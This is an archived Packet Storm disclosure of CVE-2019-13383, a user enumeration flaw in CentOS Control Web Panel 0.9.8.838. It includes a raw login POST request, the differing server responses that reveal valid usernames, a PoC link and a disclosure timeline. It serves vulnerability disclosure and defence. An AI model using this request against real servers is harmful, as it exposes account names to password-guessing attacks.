exploit the possibilities

CentOS Control Web Panel 0.9.8.838 User Enumeration

CentOS Control Web Panel 0.9.8.838 User Enumeration
Posted Jul 16, 2019
Authored by Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak

CentOS Control Web Panel version 0.9.8.838 suffers from a user enumeration vulnerability.

tags | exploit, web
systems | linux, centos
advisories | CVE-2019-13383
MD5 | c0097370579f6ba471afee6e2a345e0b

CentOS Control Web Panel 0.9.8.838 User Enumeration

Change Mirror Download
# Exploit Title: CWP (CentOS Control Web Panel) < 0.9.8.848 User Enumeration via HTTP Response Message
# Date: 15 July 2019
# Exploit Author: Pongtorn Angsuchotmetee, Nissana Sirijirakal, Narin Boonwasanarak
# Vendor Homepage: https://control-webpanel.com/changelog
# Software Link: Not available, user panel only available for lastest version
# Version: 0.9.8.836 to 0.9.8.847
# Tested on: CentOS 7.6.1810 (Core)
# CVE : CVE-2019-13383

# ====================================================================
# Information
# ====================================================================

Product : CWP Control Web Panel
version : 0.9.8.838
Fixed on : 0.9.8.848
Test on : CentOS 7.6.1810 (Core)
Reference : https://control-webpanel.com/
CVE-Number : 2019-13383



# ====================================================================
# Root course of the vulnerability
# ====================================================================
The server response different message between login with valid and invalid user.
This allows attackers to check whether a username is valid by reading the HTTP response.



# ====================================================================
# Steps to Reproduce
# ====================================================================

1. Login with a random user by using invalid password

POST /login/index.php?acc=validate HTTP/1.1
Host: 192.168.80.137:2083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
csrftoken: d41d8cd98f00b204e9800998ecf8427e
X-Requested-With: XMLHttpRequest
Content-Length: 30
Connection: close
Referer: https://192.168.80.137:2083/login/?acc=logon

username=AAA&password=c2Rmc2Rm



2. Check the HTTP response body

2.1 User does not exist (server response suspended)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:39:06 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 9

suspended


2.2 User does exist (server response nothing)

HTTP/1.1 200 OK
Server: cwpsrv
Date: Mon, 15 Jul 2019 01:40:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.32
Content-Length: 0



3. HTTP response body format depends on software version, but all of them keep responding differently as the example below

------------------------------------------------------------
| Username | Password | Result |

------------------------------------------------------------
| valid | valid | login success |

| valid | invalid | {"error":"failed"} |

| invalid | invalid | {"error":"user_invalid"} |
------------------------------------------------------------



# ====================================================================
# PoC
# ====================================================================
https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13383.md



# ====================================================================
# Timeline
# ====================================================================
2019-07-06: Discovered the bug
2019-07-06: Reported to vendor
2019-07-06: Vender accepted the vulnerability
2019-07-11: The vulnerability has been fixed
2019-07-15: Published



# ====================================================================
# Discovered by
# ====================================================================
Pongtorn Angsuchotmetee
Nissana Sirijirakal
Narin Boonwasanarak
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    1 Files
  • 24
    May 24th
    1 Files
  • 25
    May 25th
    2 Files
  • 26
    May 26th
    23 Files
  • 27
    May 27th
    7 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close